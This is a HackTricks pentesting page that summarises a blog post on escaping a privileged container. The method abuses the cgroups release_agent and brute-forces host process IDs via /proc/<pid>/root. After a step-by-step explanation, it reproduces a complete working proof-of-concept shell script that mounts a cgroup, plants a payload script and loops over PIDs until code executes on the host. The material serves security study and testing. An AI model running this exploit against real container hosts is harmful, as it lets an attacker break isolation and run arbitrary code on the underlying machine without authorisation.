Search K
Appearance
Appearance
Other ways to support HackTricks:
For further details check the blog port from https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. This is just a summary:
The technique outlines a method for executing host code from within a container, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific devicemapper
settings.
Key steps:
/proc/<pid>/root
symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host./proc/<pid>/root/<file>
. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.cgroups release_agent
file. This action triggers the execution of the release_agent
. The success of this step is confirmed by checking for the creation of an output file.The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
payload.sh
) is prepared on the host, and a unique directory is created for cgroup manipulation.notify_on_release
flag is set to ensure that the payload executes when the cgroup is released.release_agent
file. This effectively sets the payload script as the release_agent
.cgroup.procs
is written to, triggering the execution of the release_agent
if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.PoC from the blog post:
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Other ways to support HackTricks: